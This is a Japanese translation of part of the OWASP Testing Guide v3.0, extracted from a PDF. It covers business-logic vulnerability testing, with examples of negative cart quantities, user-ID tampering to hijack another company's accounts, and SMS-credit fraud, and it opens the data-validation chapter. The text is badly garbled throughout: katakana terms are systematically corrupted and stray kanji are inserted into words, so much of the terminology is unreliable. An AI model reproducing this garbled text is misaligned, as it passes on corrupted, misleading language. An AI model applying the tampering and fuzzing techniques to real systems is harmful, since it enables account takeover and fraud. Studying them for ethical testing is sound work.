問 題 の 記 述<br />

ビザネシルザッキは、ビザネシ 上 許 されていないことをヤーゴに 許 す、スカャヨティの 不 具 合 を 持 っている 場 合 があります。 例<br />

えば、 仮 に 1000 ドラの 返 済 上 限 がある 場 合 、 攻 撃 者 はサシテマを 悪 用 して、 意 図 されているより 多 くの 金 額 を 要 求 できま<br />

すか?あるいは 多 分 、ヤーゴは 特牐 定 の 順 序 で 操 作 を 行 うとみなされる 場 合 、 攻 撃 者 は 順 序 を 乱 して 操 作 するかもしれません。<br />

あるいは、ヤーゴは 負 の 金 額 で 購 入 できるでしょうか? しばしば、これらのビザネシルザッキの 照 合 は 単 純 に、アプヨクーサュ<br />

ヱ 内 に 存 在 しません。<br />

自 動 化 されたツーラには 状牮 況 を 把 握 しにくいことがわわかり、そのためこの 種 のテシトの 実 行 は 人 間 にかかっています。 以 下<br />

のふたつの 例 は、アプヨクーサュヱの 機 能 と 開 発 者 の 意 図 を 理 解 することと、 何 らかの 創 造造 的 な「 箱 の 中 からはみ 出 た」 思 考<br />

が、どのようにアプヨクーサュヱのルザッキを 破 り、 巨 大 な 利 益 を 生 むかを 描 き 出 します。 最 初 の 例 は 単 純 化 したパョミーソ 操<br />

作 で 始妵 まり、それに 対 しふたつ 目 はアプヨクーサュヱを 崩 壊 に 導 く 複 数 段 階 の 過遃 程 です。(これは 実 世 界 のアプヨクーサュヱ<br />

の 侵 入 テシトであり、 崩 壊 は 実 際 には 実 行 されず、その 代 わわりに 概 念 の 実 証 が 成 されたことに 注 意 してください。)<br />

パジネニスの 限 界 と 制 約<br />

アプヨクーサュヱによって 提 供 されるビザネシ 機 能 のラーラを 考 えましょう。 人 々の 振 る 舞 いについて、 何 か 限 界 や 制 約 はあ<br />

りますか?それではアプヨクーサュヱがこれらのラーラを 強 制 しているかどうか 考 えてみましょう。 一 般 に、ビザネシに 精 通 し<br />

ていれば、アプヨクーサュヱを 検 証 するテシトと 分 析 のクーシを 識 別 するのはとても 容 易 です。 第 三 者 のテシト 者 の 場 合 には、<br />

その 際 常 識 を 働 かさねばならないと 思 い、アプヨクーサュヱによって 異 なる 操 作 が 許 されるかどうか、ビザネシに 問 いかける<br />

でしょう。 非 常 に 複 雑 なアプヨクーサュヱでは、 当 初 アプヨクーサュヱのすべての 面 を 完媍 全 には 理 解 しない 場 合 があります。こ<br />

のような 状牮 況 では、 顧 客 を 連連 れてきてアプヨクーサュヱ 全 体 を 通 じて 案 内 してもらうのが 一 番 です。そうすることにより、 実 際<br />

にテシトが 始妵 まる 前 に、アプヨクーサュヱの 限 界 と 期 待 される 機 能 のより 良 い 理 解 が 得 られるでしょう。さらに、(もし 可 能 なら'<br />

開 発 者 への 直 接 連連 絡 の 手 段 を 持 っていると、テシトが 進逭 展 する 間 アプヨクーサュヱの 機 能 について 質 問 が 出 てきた 場 合 に、<br />

非 常 に 助 かるでしょう。<br />

188


<strong>OWASP</strong> Testing Guide v3.0<br />

例 1:<br />

電 子婡 商 店 のコイトで 製 品 の 個 数 を 負 に 設 定 すると、 攻 撃 者 に 資 金 を 入 金 する 結 果 になるかもしれません。アプヨクーサュヱ<br />

がサュッピヱギ・ォートの 数 量 フィーラドに 負 の 数 が 入 力 されるのを 許 しているので、この 問 題 に 対 する 対 策 はより 強 力 なデ<br />

ーソの 妥妞 当 性 検 証 を 実 装 することです。<br />

例 2:<br />

もう 一 つのより 複 雑 な 例 は、 大 きな 団 体 がビザネシ 顧 客 のために 使 用 する、 商 取 引 上 の 経 理 アプヨクーサュヱに 関 係 してい<br />

ます。このアプヨクーサュヱはビザネシ 顧 客 に 銀 行 取 引 の ACH( 自 動 手 形 交 換 所 )の 電 子婡 資 金 転 送 と 支 払 コービシを 提 供 し<br />

ます。 当 初 、ビザネシがこのコービシを 購 入 するときには、 企 業 のために 二 つの 管 理 リプラが 提 供 されます。そのリプラの<br />

中 で、 一 つのヤーゴは 送 金 でき、もう 一 つ( 例 えばボネーザメ)は 指 定 された 金 額 を 超 える 送 金 を 承 認 できるといった、 異 な<br />

る 特牐 権 リプラのヤーゴを 作 れます。 管 理 者 アォウヱトによってヤーゴが 作 成 される 時 、 新 たなヤーゴ ID がこの 新 しいアォウ<br />

ヱトに 関 連連 付 けられます。 その 生 成 されたヤーゴ ID は 予 測 可 能 です。 例 えば、 架 空 の 顧 客 「シヘーシヨー・シプルクット」か<br />

らの 指 令 が 連連 続 して 二 つのアォウヱトを 生 成 すると、それぞれのヤーゴ ID は 115 と 116 でしょう。さらに 悪 いことに、さらに<br />

二 つのアォウヱトが 生 成 され、それらの 関 連連 するヤーゴ ID が 117 と 119 なら、 他 の 企 業 の 指 令 がその 企 業 のヤーゴを、ヤ<br />

ーゴ ID118 で 作 成 したと 推 測 できます。<br />

ここでのビザネシルザッキの 誤 りは、(ヤーゴ ID が POST ヨキウシト 中 で 受 け 渡 されたので)アォウヱトが 生 成 された 時 、ヤーゴ<br />

名 に 関 連連 付 けられたヤーゴ ID はだれにもわわからない、 又 はだれも 操 作 しようとしないと、 開 発 者 がみなしたことにあります。<br />

さらに 悪 いことに、このパョミーソは 予 測 可 能 (0 で 始妵 まり 1 ずつ 増 加 する 線 形 の 連連 番 'なので、ヤーゴ ID がアプヨクーサュ<br />

ヱ 内 で 列 挙 できるようになっています。<br />

どのようにアプヨクーサュヱが 機 能 するかを 理 解 し、 開 発 者 の 見 当 遊 いの 仮 定 を 理 解 することにより、アプヨクーサュヱのルザ<br />

ッキを 破 ることが 可 能 です。さて、 異 なる 企 業 のヤーゴ・アォウヱトが 列 挙 できたので(ヤーゴ ID が 118 以 上 であることを 思<br />

い 出 してください)、もう 一 つの 自 身 のヤーゴ・アォウヱトを 内 部邪 の 送 金 だけが 可 能 な 限 定 された 特牐 権 付 きで 生 成 し、 好 みを<br />

更 新 しましょう。この 新 たなヤーゴ・アォウヱトが 生 成 される 時 、ヤーゴ ID が 120 に 割 り 当 てられます。この 新 たに 生 成 され<br />

たアォウヱトでルギイヱすると、 自 身 の 好 みを 更 新 することと 内 部邪 に 限 定 された 送 金 しかできません。このヤーゴのプルフィー<br />

ラを 変 更 すると、ヤーゴ ID が 好 みの 変 更 と 共 にアプヨクーサュヱに 発 行 されます。このヨキウシトを 交 換 プルキサ 内 で 捕 捉 し、<br />

ヤーゴ ID を 118 に 変 更 すると(ヤーゴ ID118 はヤーゴ・」アォウヱトを 列 挙 することにより 見 つかったことと、 異 なる 企 業 に 属<br />

していることを 思 い 起 こしてください)、そのヤーゴは 効 果 的 に 他 の 企 業 から 取 り 除 かれ、 自 分 遉 の 企 業 に 追 加 されます。こ<br />

の 結 果 二 つの 事 柄 が 生 じます。 第 一 に、これは 他 の 顧 客 に 対 しコービシ 不 能 を 実 行 します。もはやこのアォウヱトにアキス<br />

シできませんから。( 今 ではこのアォウヱトは 自 分 遉 の 企 業 に 属 していますから。) 第 2 に、 このヤーゴ ID が 自 分 遉 の 企 業<br />

に 関 連連 付 けられている 以 上 、 今 やリホートを 実 行 でき、 その 企 業 のヤーゴが 実 行 した ( 銀 行 の 口 座 番 号 や 経 路 番 号 、 収<br />

支 などがついた 送 金 を 含 む) すべての 取 り 引 きがわわかります。アプヨクーサュヱのルザッキは 認 可 されたヤーゴからの( 妥妞 当 な<br />

スッサュヱ・トーキヱ 経 由 の)ヨキウシトを 見 ましたが、ヤーゴ ID が 本 当 にこの 企 業 に 属 しているかを 確 認 するために、この 妥妞<br />

当 なトーキヱを 相 互 参 照 しませんでした。ヨキウシト 内 に 発 行 されたヤーゴ ID を 現 在 認 可 されているヤーゴの 企 業 と 相 互 参<br />

照 しなかったため、そのヤーゴ ID を 認 可 されたヤーゴの 現 在 の 企 業 に 関 連連 付 けました。<br />

さて、これを 一 段 階 先 に 進逭 めましょう。 我 々の 現 在 の 企 業 のために、113 と 114 で 始妵 まるヤーゴ ID を 持 った 2 つの 管 理 者<br />

アォウヱトを、 新 たな 顧 客 が 与 えられたとしましょう。 上 述 の 攻 撃 (すなわわち 異 なるヤーゴ ID を 使 って 認 証 されたヨキウシトを<br />

送 ること)を、ヤーゴ ID を 0 から 112 まで 1 ずつ 増 やしながら 同 じヨキウシトを 使 用 するように、fuzzer を 使 って 自 動 化 すると<br />

何 が 起 こるでしょうか? 仮 にこれが 完媍 了 すると、 我 々の 企 業 は 今 や 113 個 の 新 しいアォウヱトを 持 つことになります。その 多 く<br />

は 管 理 者 アォウヱトかもしれませんし、 異 なる 特牐 権 を 持 つアォウヱトなどかもしれません。 今 や 好 きなだけアォウヱトリホート<br />

を 実 行 でき、アォウヱト 番 号 、( 個 人 と 他 の 企 業 の) 配郤 送 先 番 号 、 個 人 情 報 などを 収 穫 できます。 残 念 ながらアォウヱトは、 一<br />

旦 以 前 の 正 当 な 企 業 から 削 除 され、 我 々の 企 業 に 加 えられると、 特牐 権 を 使 って 送 金 する 能 力 を 失 ってしまいます。 損 害 が<br />

189


あったかどうかに 関 わわりなく、これらのアォウヱトは 今 や 我 々の 企 業 に 属 するので、もはやそれらを 使 ってバヱカヱギ・アプヨ<br />

クーサュヱにアキスシできる 他 の 企 業 はありません。 事 実 上 、これは 我 々 以 外 のすべての 企 業 に 対 する 完媍 全 な DoS であり、<br />

今 や 我 々の 現 在 の 企 業 に 属 するこれらのヤーゴについてリホートを 実 行 することにより、これらのアォウヱトから 今 や 数 多 く<br />

の 機 密 情 報 ( 例 えば 前 回 の 取 り 引 き)を 収 穫 できます。<br />

おわわかりのように、ビザネシ・」ルザッキの 脆 弱 性 は、 開 発 者 によって 行 わわれた 仮 定 のせいであり、 想 定 外 のデーソを 受 け 取 っ<br />

た 時 、アプヨクーサュヱが 反 応 する 方 法 のせいです。 第 一 に 開 発 者 は POST ヨキウシトの 本 体 と 共 に 渡 されたすべてのデー<br />

ソ( 特牐 にヤーゴ ID)が 妥妞 当 だと 仮 定 し、それを 処 理 する 前 にコーバ 側 で 検 証 しませんでした。 第 二 に、アプヨクーサュヱはあ<br />

る 企 業 に 属 するヤーゴの 認 証 / 認 可 スッサュヱ・トーキヱ(このサナヨエではキッカー)が、 実 際 に 同 じ 企 業 の 妥妞 当 なヤーゴ ID<br />

であることを 検 証 しませんでした。 結 果 として、アプヨクーサュヱのルザッキは 完媍 全 に 脆 弱 でした。 一 旦 ヤーゴのプルフィーラ<br />

が 現 在 のヤーゴのスッサュヱ・トーキヱと( 他 の 企 業 に 関 係 する) 他 のヤーゴのヤーゴ ID を 使 って 更 新 されると、 犠牢 牲牌 者 の 企<br />

業 からヤーゴのアォウヱトを 削 除 し 現 在 のヤーゴの 企 業 に 移 動 します。<br />

この 例 はアプヨクーサュヱの 機 能 と 開 発 者 の 意 図 の 理 解 と 創 造造 的 な 思 考 が、どのようにアプヨクーサュヱのルザッキを 破 り、 巨<br />

大 な 利 益 を 生 むかを 示 しています。ありがたいことに、 私 たちは 倫 理 的 な 侵 入 テシト 者 であり、この 脆 弱 性 について 顧 客 に<br />

知 らせ、 悪 意 を 持 ったヤーゴが 攻 略 を 試 みる 前 に 修 正 できます。<br />

ブラチクボチクステステと 例<br />

論 理 的 な 脆 弱 性 を 暴 くことは 恐 らく 常 に 芸 術 であり 続 けるでしょうが、 系 統 立 てて 相 当 な 程 度 まで 試 みることはできます。ここ<br />

には 以 下 からなる 提 唱 されたアプルータがあります:<br />

• アプヨクーサュヱを 理 解 すること<br />

• 論 理 テシトを 設 計 するために 生 デーソを 生 成 すること<br />

• 論 理 テシトを 設 計 すること<br />

• 標 準 的 な 前 提 条 件<br />

• 論 理 テシトの 実 施<br />

アプリクーシュンヱを 理 解 すること<br />

アプヨクーサュヱを 完媍 全 に 理 解 することは、 論 理 テシトを 設 計 するための 前 提 条 件 です。 以 下 の 事 柄 から 始妵 めます:<br />

• アプヨクーサュヱの 機 能 を 説 明 した 文 書 を 入 手 する。この 例 は 以 下 を 含 みます:<br />

o<br />

o<br />

o<br />

o<br />

アプヨクーサュヱのボニャアラ<br />

要 件 のドカャミヱト<br />

機 能 仕 様<br />

使 用 又 は 悪 用 のクーシ<br />

• アプヨクーサュヱのボニャアラを 調 査 し、アプヨクーサュヱを 使 えるすべての 異 なる 方 法 、 許 容 される 使 用 方 法 のサ<br />

ナヨエと 各 種 のヤーゴに 課 された 認 可 制 限 を 理 解 するよう 試 みてください。<br />

190


<strong>OWASP</strong> Testing Guide v3.0<br />

論 理 テステを 設 計 するために 生 データを 生 成 すること<br />

この 時 期 には、 理 想 的 には 以 下 のデーソを 持 ってきてください:<br />

• アプヨクーサュヱのビザネシサナヨエ<br />

ビザネシサナヨエすべて。 例 えば 電 子婡 商 店 のアプヨクーサュヱではこれは 以 下 のように 見 えます。<br />

o<br />

o<br />

o<br />

o<br />

製 品 の 発 注<br />

清 算<br />

閲 覧<br />

製 品 の 検 索<br />

• ワローキフルー。 数 多 くの 異 なるヤーゴを 含 むので、これはビザネシサナヨエとは 異 なります。 例 は 以 下 を 含 みます:<br />

o<br />

o<br />

発 注 の 生 成 と 承 認<br />

掲 示 板 (ヤーゴは 記 事 を 投 稿 し、 記 事 は 調 整 者 によってリビャーされ、 最 終 的 にすべてのヤーゴに 見 られ<br />

る)<br />

• 異 なるヤーゴの 役 割<br />

o<br />

o<br />

o<br />

o<br />

管 理 者<br />

ボネーザメ<br />

シソッフ<br />

最 高 経 営 責 任 者<br />

• 以 下 に 関 係 付 けられた 異 なるギラープや 部邪 ( 木 構 造造 ( 例 えば 大 きな 技 術 部邪 門 のスーラシギラープ)やソギ 付 けされ<br />

た 見 方 ( 例 えばだれかはスーラシのミヱバであると 同 時 にボークティヱギのミヱバでもありうる)がありうることに 注 意 )<br />

o<br />

o<br />

o<br />

購 入<br />

ボークティヱギ<br />

技 術<br />

• 色 々なヤーゴの 役 割 とギラープのアキスシ 権 - アプヨクーサュヱは 色 々なヤーゴに 何 らかのヨセーシ( 又 は 資 産 )に<br />

ついての 特牐 権 を 許 し、 私 たちはこれらの 特牐 権 の 制 約 を 特牐 定 する 必 要 があります。これらのビザネシラーラ/ 制 約 を<br />

知 る 単 純 な 方 法 の 一 つは、アプヨクーサュヱの 文 書 を 効 果 的 に 使 うことです。 例 えば、「もし 管 理 者 が 特牐 定 のヤーゴ<br />

にアキスシを 許 したら」、「もし 管 理 者 によって 構 成 されたら」のような 制 約 条 件 を 探 し、アプヨクーサュヱによって 課 さ<br />

れた 制 約 を 知 ってください。<br />

• 特牐 権 一 覧 – ヨセーシについての 色 々な 特牐 権 を 制 約 と 共 に 学婲 んだ 後 、すべてをまとめ、 特牐 権 一 覧 を 作 成 してください。<br />

以 下 についての 答 えを 得 てください:<br />

o<br />

各 ヤーゴの 役 割 は、どのヨセーシについてどんな 制 約 付 きで 何 をできますか?これはだれがどのヨセーシに<br />

ついて 何 をできないかを 推 測 する 助 けになります。<br />

191


o<br />

ギラープをまたがる 方 針 は 何 ですか?<br />

以 下 の 特牐 権 について 考 えてください: 「 支 出 報 告 を 承 認 する」、「 会 議 室 を 予 約 する」、「 自 分 のアォウヱトから 他 のヤーゴの<br />

アォウヱトに 送 金 する」。 特牐 権 は 一 つの 動 詞 ( 例 えば 承 認 する、 予 約 する、 引 き 出 す)と 一 つ 以 上 の 名 詞 ( 支 出 報 告 、 会 議 室 、<br />

アォウヱト)の 組 合 せと 考 えられます。この 活 動 の 出 力 は 色 々な 特牐 権 の 表 で、 特牐 権 が 左 端 のォョマをなし、すべてのヤーゴ<br />

の 役 割 とギラープは 他 のォョマの 表 題 を 形 成 します。この 表 にはデーソを 補 足 する「ケミヱト」ォョマもあります。<br />

特 権<br />

だれがこれを 実 行 できるか<br />

ケミンヱテ<br />

支 出 報 告 を 承 認 する<br />

どのような 上 司 も 部邪 下 が 提 出 した 報 告 を 承 認 できる<br />

支 出 報 告 を 発 行 する<br />

どのような 従 業 員 も 自 身 で 実 行 できる<br />

一 つのアォウヱトから 他 に 送<br />

金 する<br />

アォウヱト 保 持 者 は 自 身 のアォウヱトから 他 のアォウヱトへ<br />

送 金 できる<br />

支 払 伝 票 を 参 照 する<br />

どのような 従 業 員 も 自 身 の 支 払 伝 票 を 参 照 できる<br />

このデーソは 論 理 テシトの 設 計 のための 鍵 となる 入 力 です。<br />

論 理 テステの 開 発<br />

ここには、 収 集 された 生 デーソからの 論 理 テシトの 設 計 のための、いくつかのオイドョイヱがあります。<br />

• 特牐 権 一 覧 - アプヨクーサュヱ 特牐 有 の 論 理 的 な 脅 威姕 を 生 成 する 間 、 特牐 権 一 覧 を 参 考 文 献犰 として 使 用 してください。 一<br />

般 に、 各 管 理 特牐 権 について 一 つのテシトを 開 発 し、 最 小 限 の 特牐 権 又 は 特牐 権 無 しで 遊 法 に 実 行 できるかどうか 調 べ<br />

てください。 例 えば:<br />

o<br />

o<br />

特牐 権 : 運遀 用 ボネーザメは 顧 客 の 発 注 を 承 認 できません<br />

論 理 テシト: 運遀 用 ボネーザメが 顧 客 の 発 注 を 承 認 する<br />

• 特牐 別 なヤーゴ 活 動 の 不 適遚 切 な 処 理 順 序 - アプヨクーサュヱを 通 して 決 まった 方 法 で 操 作 したり、 同 期 していないヘ<br />

ーザを 再 訪 したりすると、アプヨクーサュヱに 何 らかの 意 図 しないことをさせる、 論 理 ウョーを 引 き 起 こし 得 ます。 例<br />

えば:<br />

o<br />

フェーマを 埋 め、 次 の 段 階 へ 進逭 めるウィゴード・アプヨクーサュヱ。( 開 発 者 によれば) 通 常 の 方 法 では 処 理<br />

の 途 中 にウィゴードに 入 ることはできません。 中 間 段 階 (7 段 階 の 中 の 段 階 4 としましょう)でブッキボーキを<br />

記 録 し、 他 の 段 階 を 完媍 了 又 はフェーマ 発 行 まで 続 け、ブッキボーキされた 中 間 段 階 を 再 訪 すると、 脆 弱 な<br />

状牮 態 ムデラによって 背 後 のルザッキが「 動 転 する」かもしれません。<br />

• すべてのビザネシ 業 務 のパシを 網 羅 する- テシトの 設 計 中 は、 同 じビザネシ 業 務 を 実 施 する 代 替 方 法 すべてを 調<br />

査 してください。 例 えば、 現 金 とキリザット 両 方 の 支 払 ムードのテシトを 作 成 してください。<br />

192


<strong>OWASP</strong> Testing Guide v3.0<br />

• キョイアヱト 側 の 妥妞 当 性 確 認 - すべてのキョイアヱト 側 の 妥妞 当 性 確 認 を 調 べ、 論 理 テシトの 設 計 のための 基 礎 にな<br />

りうるかどうか 理 解 してください。 例 えば、 送 金 処 理 は 金 額 フィーラドの 負 の 値 に 対 する 妥妞 当 性 確 認 を 持 っています。<br />

この 情 報 は、「ヤーゴが 負 の 金 額 を 送 金 する」というような、 論 理 テシトを 設 計 するのに 使 えます。<br />

標 準 的 な 前 提 条 件<br />

組 立 てとして 有 用 な 初 期 の 活 動 には、 典 型 的 に 以 下 のようなものがあります:<br />

• 異 なる 許 可 を 持 つテシトヤーゴを 生 成 してください<br />

• アプヨクーサュヱ 内 のすべての 重 要 なビザネシサナヨエ/ワローキフルーを 閲 覧 してください<br />

論 理 テステの 実 行<br />

各 論 理 テシトを 取 上 げ、 以 下 を 行 ってください:<br />

• その 論 理 テシトに 関 わわる、 許 容 可 能 な 使 用 方 法 のサナヨエを 支 える HTTP/S ヨキウシトを 分 析 してください<br />

o<br />

o<br />

HTTP/S ヨキウシトの 順 序 を 調 べてください<br />

隠 蔽 されたフィーラド、フェーマフィーラド、 渡 された 検 索 文 字 列 パョミーソを 理 解 してください<br />

• 既 知 の 脆 弱 性 を 利 用 することにより、 試 し、 打 倒 してください<br />

• アプヨクーサュヱがテシトに 失 敗 するかどうか 検 証 してください<br />

現 実 世 界 の 例<br />

読 者 にこの 問 題 についてのより 良 い 理 解 とそのテシト 方 法 を 提 供 するために、 筆 者 たちによって 2006 年 に 調 査 された、もう<br />

一 つの 現 実 世 界 の 事 例 を 説 明 しましょう。その 当 時 、 携 帯 電 話 通 信 事 業 の 運遀 営 者 (FlawedPhone.com と 呼 びます)がウェ<br />

ブ・ミーラと SMS を 組 み 合 わわせたコービシを 顧 客 に 対 して 売 り 出 しました。そのコービシは 以 下 の 特牐 徴 を 持 っていました:<br />

• 新 規 顧 客 は SIM ォードを 購 入 する 時 、 無 料 で 恒 久 的 な 電 子婡 ミーラアォウヱトを flawedphone.com ドミイヱに 開 設<br />

できます<br />

• その 顧 客 が SIM ォードをもう 一 つの 通 信 事 業 運遀 営 者 に「 移 し」ても、その 電 子婡 ミーラアォウヱトは 保 持 されます<br />

• しかしその SIM ォードが FlawedPhone に 登 録 されている 限 り、 電 子婡 ミーラを 受 け 取 る 度 に、その 顧 客 に 電 子婡 ミー<br />

ラの 送 信 者 と 表 題 を 含 んだ SMS ミッスーザが 送 られます<br />

• その SMS アプヨクーサュヱは 目 標 の 電 話 番 号 が 正 規 のものだということを、 自 身 の FlawedPhone 顧 客 ヨシトのケピ<br />

ーに 基 づいて 調 べ、その 顧 客 ヨシトは 自 動 的 に 約 8 時 間 毎 に 更 新 されます<br />

そのアプヨクーサュヱは 以 下 のスカャヨティ 成 功 事 例 に 倣 って 開 発 されましたが、ビザネシルザッキに 不 具 合 があり、<br />

FlawedPhone はすぐに 以 下 の 詐 欺 攻 撃 に 標 的 にされました:<br />

• 攻 撃 者 は 新 しい FlawedPhone の SIM ォードを 購 入 しました<br />

• 攻 撃 者 は 即 座 に SIM ォードを 他 の 携 帯 電 話 通 信 業 者 に 移 しました。その 事 業 者 は SMS ミッスーザの 受 信 毎 に<br />

0.04 ヤールを 信 用 貸 しします。<br />

193


• SIM ォードが 新 しいプルバイゾに「 移 される」やいなや、 悪 意 を 持 ったヤーゴが 何 百 もの 電 子婡 ミーラを 彼 らの<br />

FlawedPhone の 電 子婡 ミーラアォウヱトに 送 り 始妵 めました。<br />

• 悪 意 を 持 ったヤーゴは 電 子婡 ミーラと SMS を 組 み 合 わわせたアプヨクーサュヱがヨシトを 更 新 するまでに 8 時 間 の 限<br />

界 時 間 を 持 っていて、ミッスーザを 送 るのを 止 めました。<br />

• その 時 まで、 悪 意 を 持 ったヤーゴは 約 50 から 100 ヤールをォードに 蓄 え、eBay にそれを 売 りに 行 きました。<br />

開 発 者 は 8 時 間 の 間 に 届 いた SMS ミッスーザが 負 のケシトを 導 入 すると 思 ったものの、 説 明 したような 自 動 化 された 攻 撃 が<br />

起 こりうることに 考 えが 及 びませんでした。おわわかりのように、 顧 客 ヨシトの 同 期 時 間 は 上 限 の 無 いミッスーザ 数 と 組 み 合 わわさ<br />

れ、それらのミッスーザが 与 えられた 期 間 に 配郤 送 されるので、サシテマに 重 大 な 不 具 合 をもたらし、 悪 意 を 持 ったヤーゴに<br />

すぐに 利 用 されました。<br />

参 考 文 献<br />

ホワロアテペーパー<br />

<br />

<br />

ビザネシルザッキ- http://en.wikipedia.org/wiki/Business_logic<br />

適遚 切 なアプヨクーサュヱスカャヨティ 事 例 によりアプヨクーサュヱルザッキの 攻 撃 を 防 ぐ(Prevent application logic attacks with<br />

sound app security practices)-<br />

http://searchappsecurity.techtarget.com/qna/0,289202,sid92_gci1213424,00.html?bucket=NEWS&topic=302570<br />

ヂール<br />

<br />

論 理 的 な 脆 弱 性 を 見 抜 くには 自 動 化 されたツーラは 不 適遚 格 です。 例 えば,ツーラには 銀 行 の「 送 金 」ヘーザがヤーゴに 負 の 金<br />

額 を 別 のヤーゴに 送 金 する( 言 い 換 えるとそれはヤーゴに, 自 身 のアォウヱトへ 正 の 金 額 を 送 金 することを 可 能 にする)ことを 見<br />

抜 く 手 段 も, 人 間 のテシト 者 に 疑 うことを 助 ける 機 構 も 現 状牮 では 存 在 しません。<br />

負 の 金 額 の 送 金 を 阻 止 する: ツーラを 改 良 すればキョイアヱト 側 の 妥妞 当 性 確 認 をテシト 者 に 報 告 できます。 例 えば、そのツ<br />

ーラは、 奇 妙妘 な 値 でフェーマを 埋 め、 完媍 全 に 自 立 したブョウゴの 実 装 を 使 って 発 行 を 試 みる 機 能 を 持 つかもしれません。<br />

そのツーラはブョウゴが 実 際 にヨキウシトを 発 行 したかどうか 調 べるべきです。ブョウゴがヨキウシトを 発 行 していないことを 発 見 すると, 発<br />

行 された 値 がキョイアヱト 側 の 妥妞 当 性 確 認 によって 受 理 されなかったことをツーラに 知 らせます。これはテシト 者 に 報 告 され,テシト 者 はキ<br />

ョイアヱト 側 の 妥妞 当 性 確 認 を 迂 回 する 適遚 切 な 論 理 テシトを 設 計 する 必 要 を 理 解 します。 私 たちの「 負 の 金 額 の 送 金 」 例 では,テシト 者 は 負<br />

の 金 額 の 送 金 は 興 味 深 いテシトかもしれないことを 学婲 ぶでしょう。そこで 彼 はツーラがキョイアヱト 側 の 妥妞 当 性 確 認 ケードを 迂 回 するテシト<br />

を 設 計 でき, 結 果 のリシホヱシが「 送 金 成 功 」という 文 字 列 を 含 むかどうか 調 べます。 要 点 は,ツーラがこれを 見 抜 けるということや,この 性 質<br />

の 他 の 脆 弱 性 を 見 抜 けることではなく,むしろ 何 らかの 考 えにより, 人 間 のテシト 者 たちがそのような 論 理 的 な 脆 弱 性 を 見 つけるのを 助 ける<br />

ツーラ 群 を 戦 列 に 加 えるような, 数 多 くのそのような 機 能 を 追 加 できるということです。<br />

4.8 データ 妥 当 性 確 認 テステ<br />

最 も 共 通 したウェブ・アプヨクーサュヱのスカャヨティの 弱 点 は、キョイアヱトから 来 た 入 力 や 環 境 を 使 用 する 前 に、 適遚 切 に 妥妞<br />

当 性 確 認 するのに 失 敗 することです。この 弱 点 は、ウェブ・」アプヨクーサュヱのほぼすべての 主 要 な 脆 弱 性 、キルシコイト・」シ<br />

キヨプティヱギ、SQL イヱザェキサュヱ、イヱソプヨソー・イヱザェキサュヱ、ルクーラ/Unicode 攻 撃 、ファイラサシテマ 攻 撃 や、バ<br />

ッファ・エーバーフルーを 導 きます。<br />

194


<strong>OWASP</strong> Testing Guide v3.0<br />

外 部邪 の 実 体 やキョイアヱトからのデーソは、 攻 撃 者 によって 勝 手 に 変 更 されているかもしれないので、 決 して 信 頼 すべきで<br />

はありません。ボイクラ・ハワロードは 彼 の 有 名 な 著 作 「Writing Secure Code」で、「すべての 入 力 は 邪邇 悪 」と 言 っています。そ<br />

れが 一 番 のラーラです。 残 念 ながら、 複 雑 なアプヨクーサュヱは 膨 大 な 数 の 入 力 箇 所 を 持 っていることが 多 く、 開 発 者 がこ<br />

のラーラを 強 制 するのを 難 しくしています。<br />

この 章 では、デーソ 妥妞 当 性 確 認 テシトを 説 明 します。これは、アプヨクーサュヱが 使 用 する 前 に 入 力 デーソを 充 分 に 妥妞 当 性<br />

確 認 しているかを 理 解 するため、すべての 可 能 な 入 力 フェーマをテシトする 作 業 です。<br />

デーソ 妥妞 当 性 確 認 テシトを、 以 下 のように 分 類 します:<br />

クロスサアテ・スクリプテァンヱギのテステ<br />

キルシコイト・シキヨプティヱギ(XSS)のテシトでは、アプヨクーサュヱの 入 力 パョミーソを 操 作 できるかどうか、そしてアプヨクー<br />

サュヱが 悪 意 のある 出 力 を 生 成 するかどうかをテシトします。アプヨクーサュヱが 入 力 を 妥妞 当 性 確 認 せず、 制 御 下 にある 出 力<br />

を 生 成 すると、XSS 脆 弱 性 が 見 つかります。この 脆 弱 性 は、 例 えば(スッサュヱ・キッカーのような' 機 密 情 報 の 窃 盗 や 犠牢 牲牌 者<br />

のブョウゴの 制 御 を 奪 うといった、さまざまな 攻 撃 を 誘 います。XSS 攻 撃 は 以 下 のパソーヱを 破 ります: 入 力 →⃙ 出 力 ==キルシ<br />

コイト・」シキヨプティヱギ<br />

このオイドでは、 以 下 の XSS テシトの 形 式 を 詳 しく 議 論 します:<br />

4.8.1 反 射 型 クロスサアテ・スクリプテァンヱギのテステ (<strong>OWASP</strong>-DV-001)<br />

4.8.2 格 納 型 クロスサアテ・スクリプテァンヱギのテステ (<strong>OWASP</strong>-DV-002)<br />

4.8.3 DOM ベースのクロスサアテ・スクリプテァンヱギのテステ (<strong>OWASP</strong>-DV-003)<br />

4.8.4 クロスサアテ・フラチシンヱギのテステ (<strong>OWASP</strong>-DV004)<br />

4.8.5 SQL アンヱジェクシュンヱ (<strong>OWASP</strong>-DV-005)<br />

SQL イヱザェキサュヱのテシトでは、アプヨクーサュヱにデーソを 注 入 できるかどうか、それによってヤーゴによって 制 御 された<br />

SQL 検 索 をバッキウヱドの DB で 実 行 できるかをテシトします。アプヨクーサュヱがヤーゴ 入 力 を 使 い、 適遚 切 な 妥妞 当 性 確 認 無<br />

しに SQL 検 索 を 生 成 していると、SQL イヱザェキサュヱ 脆 弱 性 が 見 つかります。この 脆 弱 性 の 分 類 を 利 用 ことに 成 功 すると、<br />

認 可 されていないヤーゴがデーソプーシ 内 のデーソにアキスシしたり 操 作 したりすることを 許 してしまいます。 アプヨクーサ<br />

ュヱのデーソは、しばしば 企 業 の 中 核 的 な 資 産 を 成 していることに 注 意 してください。SQL イヱザェキサュヱ 攻 撃 は 以 下 のパ<br />

ソーヱを 破 ります: 入 力 →⃙ 出 力 ==SQL イヱザェキサュヱ<br />

SQL イヱザェキサュヱのテシトはさらに 以 下 のテシトに 分 割 されます:<br />

4.8.5.1 Oracle のテステ<br />

4.8.5.2 MySQL のテステ<br />

4.8.5.3 SQL Server のテステ<br />

4.8.5.4 MS Access のテステ<br />

4.8.5.5 PostgreSQL のテステ<br />

4.8.6 LDAP アンヱジェクシュンヱ (<strong>OWASP</strong>-DV-006)<br />

LDAP イヱザェキサュヱのテシトは SQL イヱザェキサュヱのテシトに 似 ています。 遊 いは SQL ではなく LDAP プルトケラを 使 い、<br />

目 標 が SQL Server ではなく LDAP コーバであることです。LDAP イヱザェキサュヱ 攻 撃 は 以 下 のパソーヱを 破 ります:<br />

入 力 →⃙LDAP 検 索 ==LDAP イヱザェキサュヱ<br />

4.8.7 ORM アンヱジェクシュンヱ (<strong>OWASP</strong>-DV-007)<br />
